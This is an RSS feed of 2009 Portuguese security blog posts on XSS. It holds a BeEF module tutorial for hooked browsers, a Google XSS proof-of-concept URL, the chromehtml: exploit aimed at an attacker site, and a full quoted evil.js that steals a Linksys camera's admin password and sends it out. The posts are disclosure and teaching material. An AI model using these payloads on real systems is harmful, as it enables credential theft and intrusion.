<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Falando de Segurança &#187; xss</title>
	<atom:link href="http://www.falandodeseguranca.com/tag/xss/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.falandodeseguranca.com</link>
	<description>Por Gabriel Lima</description>
	<lastBuildDate>Mon, 05 Jul 2010 17:14:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>BeEF: Como programar Módulos (pt 2) &#8211; Módulo &#8220;Iframe Tools&#8221;</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 05:25:30 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=249</guid>
		<description><![CDATA[Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento. Nossa tarefa será aumentar [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" />Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, <a href="http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/">corra para lá</a>, pois o conteúdo de hoje não passa de um complemento.</p>
<p>Nossa tarefa será <strong>aumentar a complexidade do módulo adicionando opções configuráveis. </strong> Sendo assim, ao contrário do módulo &#8220;URL Crawler&#8221;, onde bastava apertar o botão para explorar, teremos um formulário com opções que<strong> </strong>vão definir o que será processado pelo zumbie.</p>
<h3><span style="color: #ff6600;"># Módulo: &#8220;Iframe Tools&#8221;</span></h3>
<p><span style="color: #000000;"> </span>Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.</p>
<p>Nosso módulo terá duas funções:</p>
<ul>
<li>Listar todos os iframes disponíveis na página, retornando nome e ID.</li>
<li>Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.</li>
</ul>
<p>Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais <strong>fugindo dos padrões</strong>.</p>
<h3><span style="color: #ff6600;">1# Estrutura e o Arquivo de Nome<br />
</span></h3>
<p>Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de <strong>iframe_tools</strong> dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo <strong>name.txt</strong> contendo apenas <strong>Iframe Tools</strong> . Até aqui, nada muda .. mas só até aqui.</p>
<h3><span style="color: #ff6600;">2# O Payload (JavaScript)</span></h3>
<p>Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se <strong>template.js</strong>. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.</p>
<p>Teremos então:</p>
<ul>
<li><strong>template-lista.js :</strong> Lista e retorna os iframes na página</li>
<li><strong>template-le.js : </strong>Lê o conteúdo do iframe previamente especificado.</li>
</ul>
<p>O primeiro (template-lista.js) é semelhante ao &#8220;URL Crawler&#8221;. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:</p>
<pre name="code" class="js">
function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );
</pre>
<p>O código é muito simples: Verifica as tags &lt;iframe&gt; que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.</p>
<p>Falando em obter conteúdo, eis o simples  código que fará esta função. Ele ficará no arquivo<strong> template-le.js </strong> e, obviamente, <strong>requer uma informação que deve ser previamente definida</strong>: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra <strong>IFRAME-ID<br />
</strong></p>
<pre name="code" class="js">
return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);
</pre>
<p>Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. <strong>Nunca</strong> use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.</p>
<h3><span style="color: #ff6600;">3# A Página de controle do Módulo (index.php)</span></h3>
<p>Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.</p>
<p>Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.</p>
<p>Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.</p>
<p>No início do arquivo, criamos definições para &#8220;chamarmos&#8221; nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.</p>
<pre name="code" class="php">
&#x3C;&#x3F;
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
&#x3F;&#x3E;
</pre>
<p>Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave <strong>IFRAME-ID</strong> (que criamos em #2) pelo valor digitado no campo &#8220;idiframe&#8221; do form de nome &#8220;myform&#8221;. A função também define qual payload será enviado, verificando se o campo está ou não em branco.</p>
<pre name="code" class="js">
&lt;script&gt;

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '&lt;? echo get_b64_file(JS_FILE_LISTA); ?&gt;';
var b64codele = '&lt;? echo get_b64_file(JS_FILE_LE); ?&gt;';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

&lt;/script&gt;
</pre>
<p>Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.</p>
<pre name="code" class="html">
&lt;div id="module_header"&gt;Iframe Tools&lt;/div&gt;
Lista ou retorna o HTML de um Iframe.&lt;br&gt;&lt;br&gt;
&lt;div id="module_subsection"&gt;
&lt;form name="myform"&gt;
ID do Iframe: &lt;input type="text" name="idiframe" value=""/&gt; &lt;i&gt;(Em branco: Lista Iframes)&lt;/i&gt;
&lt;input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/&gt;
&lt;input type="button" value=" Send Now " onClick="javascript:send_now()"/&gt;
&lt;/form&gt;
&lt;/div&gt;
</pre>
<h3><span style="color: #ff6600;">4# Tudo pronto!</span></h3>
<p>Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:</p>
<p><strong>Sem especificar ID (lista Iframes):</strong></p>
<p><img class="aligncenter size-full wp-image-255" title="iframetools1" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools1.jpg" alt="iframetools1" width="655" height="179" /></p>
<p><strong>Ao especificar um ID (retorna conteúdo do Iframe):</strong></p>
<p><img class="aligncenter size-full wp-image-254" title="iframetools2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools2.jpg" alt="iframetools2" width="655" height="179" /></p>
<p>É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Até a próxima!</p>
<p><span style="color: #ff6600;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google corrige séria falha de Cross-Site Scripting (XSS)</title>
		<link>http://www.falandodeseguranca.com/2009/05/google-corrige-seria-falha-de-cross-site-scripting-xss/</link>
		<comments>http://www.falandodeseguranca.com/2009/05/google-corrige-seria-falha-de-cross-site-scripting-xss/#comments</comments>
		<pubDate>Mon, 11 May 2009 04:11:29 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=99</guid>
		<description><![CDATA[Até a última terça (5 de maio), o Google era vulnerável a Cross-Site Scripting em um dos links de sua página de suporte. O risco apresentado pela falha aumenta inúmeras vezes por um fator: o site vulnerável estava no domínio principal (google.com). Como o google usa este domínio para autenticação de seus usuários em todos [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fgoogle-corrige-seria-falha-de-cross-site-scripting-xss%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fgoogle-corrige-seria-falha-de-cross-site-scripting-xss%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Até a última terça (5 de maio), o Google era vulnerável a Cross-Site Scripting em um dos links de sua página de suporte. O risco apresentado pela falha aumenta inúmeras vezes por um fator: o site vulnerável estava no domínio principal (google.com). Como o google usa este domínio para autenticação de seus usuários em todos os seus serviços\sites, era possível obter informações pessoais, enviar seu cookie para um script na web, roubar sua lista de contatos, ver seus documentos no Google Docs, e até adicionar gadgets em seu Igoogle.</p>
<p>A falha foi reportada pelo autor do SecureThoughts.com, que se identifica por &#8220;Inferno&#8221;, no dia 18/04/2009. A Google respondeu em apenas uma hora, mas a correção foi publicada apenas no dia 05/05/2009.</p>
<p>O script vulnerável foi programado em python, tem o nome de <strong>answer.py</strong> e fica localizado em <strong>http://google.com/support/webmasters/bin/answer.py </strong>.</p>
<p>O script declarava uma variável em javascript com o valor passado na variável <strong>cbid</strong>. Apesar de filtrar caracteres como <strong>&#8220;</strong> <em>(aspas)</em>, <em>(espaço)</em>, <strong>&lt;</strong>, <strong>&gt;</strong>, <strong>{</strong>, <strong>}</strong>,  o script não filtrava <strong>&#8216;</strong> (aspa única). Este caractere era o suficiente para finalizar a declaração da variavel e começar a escrever o código java-script a ser injetado. Abaixo, uma prova de conceito que era válida, que exibiria um alerta com seu cookie:</p>
<blockquote><p><span style="color: #000080;">http://google.com/support/webmasters/bin/answer.py?<span class="attribute">answer</span>=<span class="attribute-value">34575</span>&amp;<strong><span class="attribute">cbid</span>=</strong></span><strong><span style="color: #0000ff;">-1oudgq5c3804g</span></strong><strong><span style="color: #ff0000;">&#8216;;alert(document.cookie);//</span></strong><span style="color: #000080;">&amp;<span class="attribute">src</span>=<span class="attribute-value">cb</span>&amp;<span class="attribute">lev</span>=<span class="attribute-value">index</span></span></p></blockquote>
<p>Maiores detalhes e outras provas de conceito podem ser vistas <a href="http://securethoughts.com/2009/05/universal-xss-vulnerability-in-all-google-services-can-compromise-your-personal-information/" target="_blank">neste post </a>(em inglês)</p>
<p>Fonte: <a href="http://securethoughts.com/" target="_blank">SecureThoughts.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/05/google-corrige-seria-falha-de-cross-site-scripting-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Internet Explorer + Google Chrome = Falha gravíssima!</title>
		<link>http://www.falandodeseguranca.com/2009/04/internet-explorer-google-chrome-falha-gravissima/</link>
		<comments>http://www.falandodeseguranca.com/2009/04/internet-explorer-google-chrome-falha-gravissima/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 06:04:35 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Navegadores]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[internet explorer]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=45</guid>
		<description><![CDATA[q]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Finternet-explorer-google-chrome-falha-gravissima%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Finternet-explorer-google-chrome-falha-gravissima%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Ok, peço-lhes desculpas pelo sensacionalismo no título, mas ele é justificavel. O assunto é sério.</p>
<p>Ontem, dia 27 de abril, a equipe IBM Rational Application Security Insider, cujo blog já citei aqui, descobriu uma falha que merece nossa análise. Um usuário navegando com Internet Explorer, ao entrar em um site com o código malicioso (exploit),  tem seu Chrome aberto interpretando um java-script ou visitando uma url previamente definida.</p>
<p>Tais exploits podem conter instruções em java-script quaisquer. Um dos exemplos de maior risco apresentado demonstra que é possível burlar a restrição de mesma origem (<a href="http://en.wikipedia.org/wiki/Same_origin_policy " target="_blank">Same Origin Policy</a>) . Em outras palavras, um XSS universal!</p>
<p>Ele permite também descobrir se determinadas pastas existem ou não no computador do usuário usando uma antiga técnica  que é detalhada <a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html" target="_blank">neste link</a>.</p>
<p>Como ele funciona?  Vamos lá.</p>
<p>O chrome  ao ser instalado, adiciona no registro do windows um valor que associa chromehtml:// à seu executável.</p>
<blockquote><p>HKEY_CLASSES_ROOT\ChromeHTML\shell\open\command</p></blockquote>
<p>Com isto, podemos usar chromehtml:// para chama-lo. Agora vamos ao código de exemplo:</p>
<blockquote><p>&lt;html&gt;<br />
&lt;script&gt;<br />
<span style="color: #ff0000;"> document.location = &#8216;chromehtml:&#8221;80 www.attacker.site.com&#8217;;</span><br />
&lt;/script&gt;<br />
&lt;/html&gt;</p></blockquote>
<p>Segundo o advisory, o comando destacado acima, ao ser interpretado pelo Internet Explorer, executaria o executável do chrome com os seguintes parâmetros:</p>
<blockquote><p>
<font color=red>&#8220;C:\Pasta\do\chrome\chrome.exe&#8221; &#8211;  &#8220;chromehtml:&#8221;80 www.attacker.site.com&#8221;</font>
</p></blockquote>
<p>Isso faria com que o Chrome fosse carregado contendo duas tabs: A primeira tentaria carregar, sem sucesso, a url http://chromehtml . Já a segunda carregaria, com sucesso, http://www.attacker.site.com</p>
<p>O mesmo ocorre com java-scripts sendo passados por <span style="color: #0000ff;">javascript:codigo_aqui;</span> no mesmo exploit acima. Um exemplo, descrito pelo advisory, de alert:</p>
<blockquote><p>&lt;html&gt;<br />
&lt;script&gt;<br />
<span style="color: #ff0000;"> document.location = &#8216;chromehtml:&#8221;80 <span style="color: #0000ff;">javascript:eval(&#8216;alert(\&#8217;JavaScript%20Code%20Executed\&#8217;); &#8216;));</span>&#8216;</span><br />
&lt;/script&gt;<br />
&lt;/html&gt;</p></blockquote>
<p>Para burlar a <a href="http://en.wikipedia.org/wiki/Same_origin_policy " target="_blank">Same Origin Policy</a> o seguite código deve ser passado nos parâmetros acima:</p>
<blockquote><p>&lt;script&gt;<br />
setTimeout(&#8220;<span style="color: #0000ff;">alert(document.cookie);</span>&#8220;, <span style="color: #008000;">2000</span>);<br />
document.location.assign(&#8220;<span style="color: #ff0000;">http://demo.test.site/</span>&#8220;);<br />
&lt;/script&gt;</p></blockquote>
<p>Neste caso, inicialmente seria carregado na aba o site alvo (<span style="color: #ff0000;">vermelho</span>) e após o tempo especificado (<span style="color: #008000;">verde</span>) seria executado o código no mesmo (<span style="color: #0000ff;">azul</span>), burlando, assim, a regra de segurança.</p>
<p>Maiores informações, assim como outros exemplos, como o de detecção de pastas no computador alvo, são descritos no advisory, que pode ser <a href="http://blog.watchfire.com/files/google-chrome-advisory.doc">baixado aqui (em .doc)</a> .</p>
<p>A equipe do Google Chrome rapidamente lançou uma correção. Maiores detalhes no <a href="http://googlechromereleases.blogspot.com/2009/04/stable-update-security-fix.html" target="_blank">blog do chrome</a>.<br />
Fonte (mais uma vez, do incrível): <a href="http://blog.watchfire.com/wfblog/" target="_blank">IBM Rational Application Security Insider</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/04/internet-explorer-google-chrome-falha-gravissima/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Câmera IP da Linksys (WVC54GCA) vulnerável.</title>
		<link>http://www.falandodeseguranca.com/2009/04/camera-ip-da-linksys-vulneravel/</link>
		<comments>http://www.falandodeseguranca.com/2009/04/camera-ip-da-linksys-vulneravel/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 07:48:57 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Roteadores]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[câmera]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[WVC54GCA]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=30</guid>
		<description><![CDATA[Nos últimos dias, o site GNUCITIZEN esteve efetuando uma série de testes na Câmera IP da Linksys modelo WVC54GCA. O resultado já rendeu 4 posts repletos de descrições das falhas encontradas, que vão de transmissão da senha de administrador para o programa de instalação em texto puro (sem criptografia), até leitura de arquivos do sistema [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Fcamera-ip-da-linksys-vulneravel%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Fcamera-ip-da-linksys-vulneravel%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="size-full wp-image-31 alignleft" title="WVC54GCA" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/04/180_325153706_1.jpg" alt="WVC54GCA" width="180" height="180" /></p>
<p style="text-align: left;">Nos últimos dias, o site <a href="http://www.gnucitizen.org/" target="_blank">GNUCITIZEN</a> esteve efetuando uma série de testes na Câmera IP da Linksys modelo WVC54GCA. O resultado já rendeu 4 posts repletos de descrições das falhas encontradas, que vão de transmissão da senha de administrador para o programa de instalação em texto puro (sem criptografia), até leitura de arquivos do sistema do roteador apenas definindo seu path e nome pela URL</p>
<p style="text-align: left;">Os posts podem ser lidos aqui: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/" target="_blank">Parte 1</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/" target="_blank">Parte 2</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Parte 3</a>, P<a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">arte 4</a>. Eu recomendo!</p>
<p style="text-align: left;">Mas o que gostaria de destacar disso tudo está na parte 4. Eu gosto de alertar sobre vulnerabilidades que muitos considerariam de baixo (ou nenhum) risco. O que podemos tirar do exemplo do WVC54GCA acontece em diversos roteadores e até websites.</p>
<p style="text-align: left;">Segundo o site GNUCITIZEN, na página de mudança de senha da câmera ( <code>/adm/file.cgi?next_file=pass_wd.htm )</code> o campo que define a mesma já vem previamente preenchido (contendo a senha atual). Apesar de o tipo do campo ser definido como password (veja, abaixo, em azul), isto não a protege, uma vez que o valor informado no campo pode ser lido visualizando o código HTML da página (Na maioria dos navegadores: Exibir &gt; Código Fonte).</p>
<pre>
<blockquote>
<pre><code>&lt;input <span style="color: blue;">type="password"</span> size="8" maxlength="64" name="admpw" <span style="color: red;">value="<strong>SenhaAqui</strong></span>"
onKeyDown="chkPsize(this.value.length,64,msg_bigpw)"&gt;</code></pre>
</blockquote>
</pre>
<p>O mesmo ocorre na página de mudança da senha Wireless.</p>
<p>Agora, o questionamento principal: <strong>Por que não dão a devida importancia a este tipo de falha?</strong> O pessoal do GNUCITIZEN respondeu incrivelmente:</p>
<p>No caso da senha da wireless, eles (aqueles que acreditam que a falha não apresenta risco) dizem que seria possível captura-la por outros meios (como, por exemplo, usando as ferramentas <a href="http://www.aircrack-ng.org/doku.php" target="_blank">do Aircrack Suite</a>) e, principalmente, que para estar lendo aquilo, o &#8220;hacker&#8221; já deveria estar na rede, ou seja, já saberia a senha wireless. <strong>Estão errados!</strong></p>
<p>Já quanto a senha do administrador, o argumento usado é que já que não há suporte a HTTPS (SSL), a conexão não é criptografada, por tanto, qualquer pessoa capturando pacotes da rede (<a title="Definição da Wikipedia" href="http://pt.wikipedia.org/wiki/Sniffing" target="_blank">sniffing</a>) poderia capturar a navegação do administrador, que contém, no cabeçalho, a autenticação (em base64). <strong>Novamente, errados!</strong></p>
<p>O ponto chave da questão é que não consideraram o tipo da falha que mais venho martelando aqui no blog: <strong>Cross-site Scripting (XSS)</strong>.</p>
<p>Qualquer possibilidade de injeção de um JavaScript no navegador de um administrador do roteador já seria o bastante para que ele, involuntariamente, enviasse a senha de administrador\da wireless para um script qualquer, na web. E este exploit só funcionaria porque o produto em questão retorna a senha em texto puro, já que ele simplesmente entraria (usando ajax) na página de mudança de senha, leria o código fonte utilizando filtros  e retornaria o resultado.</p>
<p>Um exploit de exemplo, para este modelo, foi escrito pelo GNUCITIZEN. Aqui está ele:</p>
<blockquote>
<div style="overflow: auto; height: 300px;">
<pre><code>// <strong>evil.js</strong> : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest &amp;&amp; !(window.ActiveXObject)) {
    		try {
			req = new XMLHttpRequest();
        	}
		catch(e) {
			req = false;
        	}
    	}
    	// branch for IE/Windows ActiveX version
	else if(window.ActiveXObject) {
       		try {
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		}
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		}
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) {
			var bits=req.responseText.split(/\"/);
			var gems="";
			// dirty credentials-scraping code
			for (i=0;i&lt;bits.length;++i) {
                                if(bits[i]=="adm" &amp;&amp; bits[i+1]==" value=") {
                               		gems+="login=";
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" &amp;&amp; bits[i+1]==" value=") {
                                       	gems+='&amp;password=';
					gems+=bits[i+2];
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	}
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);</code></pre>
</div>
</blockquote>
<p>Fonte: <a href="http://www.gnucitizen.org/" target="_blank">GNUCITIZEN</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/04/camera-ip-da-linksys-vulneravel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cross-site Scripting além dos sites&#8230;</title>
		<link>http://www.falandodeseguranca.com/2009/04/cross-site-script-alem-dos-sites/</link>
		<comments>http://www.falandodeseguranca.com/2009/04/cross-site-script-alem-dos-sites/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 03:10:10 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[cross-site script]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[tamperdata]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=24</guid>
		<description><![CDATA[Hoje vou comentar de uma vulnerabilidade simples e de impacto baixo. Dificilmente ela trará prejuizos ou causara maiores danos a alguém. Por que algo de tamanha simplicidade está aqui blog, então? Porque a mensagem que a falha passa é muito mais ampla: Não é só dentro dos códigos de sites que acontece o Cross-Site Scripting. [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Fcross-site-script-alem-dos-sites%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Fcross-site-script-alem-dos-sites%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Hoje vou comentar de uma vulnerabilidade simples e de impacto baixo. Dificilmente ela trará prejuizos ou causara maiores danos a alguém. Por que algo de tamanha simplicidade está aqui blog, então? Porque a mensagem que a falha passa é muito mais ampla: Não é só dentro dos códigos de sites que acontece o Cross-Site Scripting.<br />
Tudo bem, isso não é lá novidade&#8230; mas é importante alertar e ampliar as análises nestes programas.</p>
<p>A falha que lhes trago hoje é a do excelente plugin para firefox <a href="https://addons.mozilla.org/pt-BR/firefox/addon/966">Tamper Data</a> (que, por sinal, é um de meus favoritos!) .  Esta ferramenta, que é uma mão na roda para quem é da área, o permite editar parametros POST\GET de solicitações feitas por seu navegador.</p>
<p>Porém, os recursos do plugin não param por ai. Ele exibe, também, uma página de detalhes de todas as URLs que passaram por ele, com seus respectivos tempos de carregamento, retorno do servidor, etc. Esta página é formatada em HTML (vide screenshot abaixo).</p>
<p><center><a href="http://blog.watchfire.com/wfblog/WindowsLiveWriter/image.png"><img src="http://blog.watchfire.com/wfblog/WindowsLiveWriter/image_thumb.png" alt="" /></a><br />
</center><br />
Opa, mas pera aí! Formatada em HTML.. e onde navegador interpreta html\javascript, pode ocorrer XSS! Não deu outra, neste caso, o plugin é vulneravel a uma falha de cross-site scripting (XSS), onde o comando a ser injetado é passado na própria URL. Como o plugin não filtra esses caracteres, ao gerar o relatório, eles viram código da página e são executados.</p>
<p>Mas tudo bem. Por não estar rodando sob domínio qualquer, não é possivel usar esta falha para obter dados, como por exemplo, cookies. No máximo, um usuário malicioso poderia alterar os resultados do relatório ou tentar obter o conteúdo contido nele. Nada de muito grave, não é mesmo? O importante aqui é saber que as preocupações em filtrar caracteres não devem se limitar as páginas, mas sim a tudo que vá renderizar html e javascript.<br />
<center><br />
<a href="http://blog.watchfire.com/wfblog/WindowsLiveWriter/image_1.png"><img src="http://blog.watchfire.com/wfblog/WindowsLiveWriter/image_thumb_1.png" alt="" /></a></center></p>
